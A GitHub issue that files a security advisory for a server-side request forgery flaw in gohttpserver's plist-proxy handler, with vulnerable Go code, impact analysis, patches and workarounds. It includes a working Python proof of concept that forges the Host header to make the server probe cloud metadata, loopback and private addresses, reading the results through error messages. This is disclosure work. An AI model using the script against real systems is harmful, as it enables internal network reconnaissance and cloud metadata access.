Skip to content

Security Advisory: Server-Side Request Forgery in codeskyblue/gohttpserver #236

@sethludwig

Description

@sethludwig

Summary

codeskyblue/gohttpserver is vulnerable to server-side request forgery (SSRF) in the /-/ipa/link/{path} handler. When the --plistproxy server flag is set, the handler issues an outbound HTTP GET request to a URL whose host component is taken verbatim from the incoming request's Host header. The handler does not validate the resulting target, and a remote caller can therefore coerce the server into issuing HTTP requests to private addresses, loopback, link-local cloud metadata services (e.g. 169.254.169.254), or any other reachable host.

Affected Versions

  • Tagged release 1.3.0 (the most recent tag)
  • master branch through commit 75eb27f9c90de186a54b9ea755c50de6a1d5d605
  • All earlier versions that include the hIpaLink / genPlistLink code path and accept the --plistproxy configuration flag

Severity

High. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N — 8.5 (High).

The Privileges Required metric is set to Low in this advisory because typical deployments place gohttpserver behind HTTP Basic authentication (the project's documented authentication mechanism). Deployments that run gohttpserver without authentication should rate the Privileges Required metric as None, raising the score to 9.4 (Critical).

CWE

CWE-918: Server-Side Request Forgery (SSRF)

Description

The vulnerable code is the hIpaLink handler in httpstaticserver.go:

func (s *HTTPStaticServer) hIpaLink(w http.ResponseWriter, r *http.Request) {
    path := mux.Vars(r)["path"]
    var plistUrl string

    if r.URL.Scheme == "https" {
        plistUrl = combineURL(r, "/-/ipa/plist/"+path).String()
    } else if s.PlistProxy != "" {
        httpPlistLink := "http://" + r.Host + "/-/ipa/plist/" + path
        url, err := s.genPlistLink(httpPlistLink)
        ...
    }
}

func (s *HTTPStaticServer) genPlistLink(httpPlistLink string) (plistUrl string, err error) {
    pp := s.PlistProxy
    if pp == "" {
        pp = defaultPlistProxy
    }
    resp, err := http.Get(httpPlistLink)   // ← SSRF sink
    ...
    retData, err := http.Post(pp, "text/xml", bytes.NewBuffer(data))
    ...
    if err = json.Unmarshal(jsonData, &ret); err != nil {
        return
    }
    plistUrl = pp + "/" + ret["key"]
    return
}

Two design choices combine to produce the vulnerability:

  1. The outbound URL is constructed from r.Host, which is taken from the request's Host header for HTTP/1.1 clients. The header is fully attacker-controlled.
  2. The r.URL.Scheme == "https" guard appears to be intended as a "skip outbound fetch when the deployment is HTTPS" check. In Go's net/http, however, r.URL.Scheme is empty on incoming server requests — it is populated only on the client side. The guard therefore never matches in normal server operation, and the SSRF branch is taken on every request to /-/ipa/link/ when --plistproxy is configured.

The handler additionally exposes a partial response-content disclosure channel. After the outbound http.Get, the response body is POSTed to the configured PlistProxy URL, and the proxy's response is then run through json.Unmarshal. When the upstream response is not valid JSON, the Go JSON parser emits the error string invalid character '<X>' looking for beginning of value, where <X> is the first byte of the upstream response. The error message is returned to the caller verbatim in the HTTP 500 response body. The first byte of any reachable HTTP service's response is therefore observable to the remote caller. Standard Go network error strings (connection refused, connection reset by peer, connection timed out, unexpected EOF, no such host) also surface in the error body and provide a reliable port-scanning and host-discovery primitive.

The outbound request is bounded to TCP port 80 — Go's http.Get strips any port suffix the caller attempts to inject through the Host header — but the primitive is sufficient to reach cloud metadata services on link-local addresses and any HTTP service inside the host's network namespace.

Impact

A remote caller authenticated to the gohttpserver instance (or unauthenticated, if the deployment runs without --auth) can:

  • Reach the AWS / GCP / Azure / Alibaba Cloud instance metadata service (169.254.169.254) and exfiltrate the first byte of its responses through the error oracle. On hosts that have not enabled IMDSv2 with a hop limit, this is sufficient to confirm IMDSv1 enablement and to fingerprint the cloud provider.
  • Enumerate HTTP services on private/loopback/cloud-internal addresses by classifying the JSON-unmarshal error pattern against the Go network error patterns.
  • Disclose the host's recursive DNS resolver address (the error message for a non-existent hostname includes the resolver IP and port).
  • Pivot to any HTTP service that grants its access on the basis of the source IP of the gohttpserver host.

Proof of Concept

The following Python script reproduces the primitive against a locally-running gohttpserver instance started with --plistproxy configured. Replace BASE and AUTH with values for your own test deployment.

#!/usr/bin/env python3
"""Proof-of-concept for gohttpserver SSRF via Host-header injection.
Run against your own test instance to confirm the vulnerability."""
import re, requests, urllib3
from requests.auth import HTTPBasicAuth
urllib3.disable_warnings()

BASE = "http://localhost:8000"             # ← your test gohttpserver instance
AUTH = HTTPBasicAuth("user", "password")   # ← omit if --auth not set

def ssrf(target_host, path="x"):
    """Coerce gohttpserver into issuing http.Get to http://<target_host>/-/ipa/plist/<path>."""
    r = requests.get(
        f"{BASE}/-/ipa/link/{path}",
        auth=AUTH, verify=False, timeout=15,
        headers={"Host": target_host},
    )
    return r.status_code, r.text

def classify(body):
    """Map response body to a primitive class."""
    if (m := re.search(r"invalid character '(.)'", body)): return f"http (first byte={m.group(1)!r})"
    if "connection refused"   in body: return "refused (alive, port 80 closed)"
    if "connection reset"     in body: return "reset"
    if "connection timed out" in body: return "timeout (filtered or down)"
    if "no such host"         in body: return "dns_fail"
    if "unexpected EOF" in body or "transport connection broken" in body: return "eof"
    return "unclassified"

for label, host in [
    ("baseline (example.com)",   "example.com"),
    ("cloud metadata service",   "169.254.169.254"),
    ("loopback :80",             "127.0.0.1"),
    ("private subnet",           "10.0.0.1"),
    ("invalid TLD (DNS leak)",   "this.does.not.exist.invalid"),
]:
    status, body = ssrf(host)
    snippet = body.strip().splitlines()[0][:140] if body.strip() else "(empty)"
    print(f"=== {label} (Host: {host}) ===")
    print(f"    HTTP status: {status}")
    print(f"    classifier:  {classify(body)}")
    print(f"    body:        {snippet}")
    print()

Expected output

Against a vulnerable instance running on a host with outbound HTTP allowed:

=== baseline (example.com) (Host: example.com) ===
    HTTP status: 500
    classifier:  http (first byte='<')
    body:        invalid character '<' looking for beginning of value

=== cloud metadata service (Host: 169.254.169.254) ===
    HTTP status: 500
    classifier:  http (first byte='<')
    body:        invalid character '<' looking for beginning of value

=== loopback :80 (Host: 127.0.0.1) ===
    HTTP status: 500
    classifier:  refused (alive, port 80 closed)
    body:        Get "http://127.0.0.1/-/ipa/plist/x": dial tcp 127.0.0.1:80: connect: connection refused

=== private subnet (Host: 10.0.0.1) ===
    HTTP status: 500
    classifier:  timeout (filtered or down)
    body:        Get "http://10.0.0.1/-/ipa/plist/x": dial tcp 10.0.0.1:80: connect: connection timed out

=== invalid TLD (DNS leak) (Host: this.does.not.exist.invalid) ===
    HTTP status: 500
    classifier:  dns_fail
    body:        Get "http://this.does.not.exist.invalid/-/ipa/plist/x": dial tcp: lookup this.does.not.exist.invalid on <resolver_ip>:53: no such host

The presence of an invalid character error confirms that gohttpserver issued an outbound HTTP request to the caller-chosen host. The first byte of the upstream response is leaked through the error message.

Test-instance setup

The vulnerability can be reproduced with the project's own quick-start instructions, augmenting the command with --plistproxy:

docker run -p 8000:8000 \
    codeskyblue/gohttpserver \
    /gohttpserver --plistproxy https://plistproxy.example.com

Any value passed to --plistproxy is sufficient to enable the vulnerable branch — the proxy is reached after the outbound http.Get fires, so the SSRF primitive resolves before the proxy interaction matters.

Suggested Patches

A complete fix should address both the root cause (unsanitized r.Host use) and the response-side disclosure channel. Suggested code changes in httpstaticserver.go:

  1. Stop trusting the Host header for outbound URL construction. Use the server's configured public hostname (already available via the --site / configured external URL, or settable through a new flag) instead of r.Host:

    httpPlistLink := "http://" + s.ExternalHost + "/-/ipa/plist/" + path
  2. Validate the outbound target against an allowlist. If a use case genuinely requires the request-derived hostname, reject any value that resolves to a private, loopback, or link-local address before issuing the request. A small helper using net.LookupHost and net.IP.IsPrivate / net.IP.IsLoopback / net.IP.IsLinkLocalUnicast is sufficient.

  3. Stop returning Go error strings verbatim to the HTTP response. Wrap the error from genPlistLink with a generic message (http.Error(w, "plist generation failed", 500)), keep the underlying error in server logs only.

  4. Reconsider the r.URL.Scheme == "https" guard. In Go's server-side HTTP, r.URL.Scheme is empty on incoming requests; the intended HTTPS-pathway is therefore never used. The check should be replaced with r.TLS != nil if the original intent was "did the client connect over TLS to this server."

Workarounds

Until a fixed release is available, operators of codeskyblue/gohttpserver can mitigate as follows:

  • Run the server without --plistproxy. The SSRF branch is gated on s.PlistProxy != ""; with the flag unset, the handler returns a 500 error before issuing any outbound request.
  • Block outbound network access from the host to private, loopback, and link-local address ranges at the host firewall or cloud VPC ACL. The relevant ranges are 10.0.0.0/8, 127.0.0.0/8, 169.254.0.0/16, 172.16.0.0/12, and 192.168.0.0/16.
  • Enable IMDSv2 with hop-limit 1 on EC2 instances hosting gohttpserver. This blocks SSRF-style fetches that originate from a different process or container than the metadata client.
  • Place gohttpserver behind a reverse proxy that strips or overrides the Host header before forwarding the request.

References

Disclosure Timeline

  • 2026-05-13 — Vulnerability identified during a third-party security assessment of a deployment running gohttpserver 1.2.0.
  • 2026-05-14 — Advisory submitted.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions